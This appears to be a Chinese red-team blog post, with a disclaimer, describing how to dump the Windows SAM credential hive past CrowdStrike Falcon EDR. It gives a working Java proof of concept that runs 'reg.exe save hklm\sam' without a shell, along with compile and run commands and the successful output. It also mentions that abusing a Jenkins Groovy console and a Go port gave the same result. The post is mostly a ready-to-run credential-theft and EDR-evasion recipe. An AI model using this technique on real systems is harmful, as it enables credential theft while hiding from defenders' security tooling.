免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
最近在红队评估中,在实现内网访问后,注意到所有服务器和工作站都受到 Crowd Strike Falcon EDR 的保护。这个工具可以主动阻止大多数已知的攻击。
在这种特殊情况下,我们的任务是从本地 Windows 服务器转储所有哈希(具有本地管理员权限)。
使用传统的转储方式:
C:\reg save hklm\sam c:\sam access denied.
此故障会在 Crowd Strike 控制台上生成日志:
该服务器安装了 Jenkins,我们注意到可以在 jenkins groovy 控制台上执行一些恶意命令。Crowd Strike 无法阻止他们。因此,我们使用 groovy 转储了哈希,但我们发现绕过 Crowd Strike 预防的更简单方法。如果进程由shell(cmd或powershell)调用,它似乎是连接的。
概念证明:
先决条件:最低本地管理员权限。
我们需要在没有shell的情况下执行应用程序(在本例中为:reg.exe)。几乎所有来自公司的服务器都出于某种原因安装了 java。(如果没有安装java,可以下载openjdk,解压使用,无需安装,100%可移植)
我写了一个非常基本的简单代码,只是为了执行这个过程。
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class FalconBypassTest { public static void main(String[] args) { ProcessBuilder processBuilder = new ProcessBuilder(); // Windows processBuilder.command("reg.exe", "save", "hklm\\sam", "c:\\sam"); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { System.out.println(line); } int exitCode = process.waitFor(); System.out.println("\nExited with error code : " + exitCode); } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } } }
将文件另存为 FalconBypassTest.java。
编译:
javac.exe FalconBypassTest.java
执行:
java.exe FalconBypassTest
执行后,我们收到了操作完成的stdout,提取了SAM文件。
The operation completed successfully.
再次查看控制台,我们可以验证该操作已被检测到,但未被阻止。“不采取行动”。
使用 golang 尝试了相同的 POC,结果是一样的:如果进程被不同于 shell 的东西调用,Falcon 不会采取任何行动。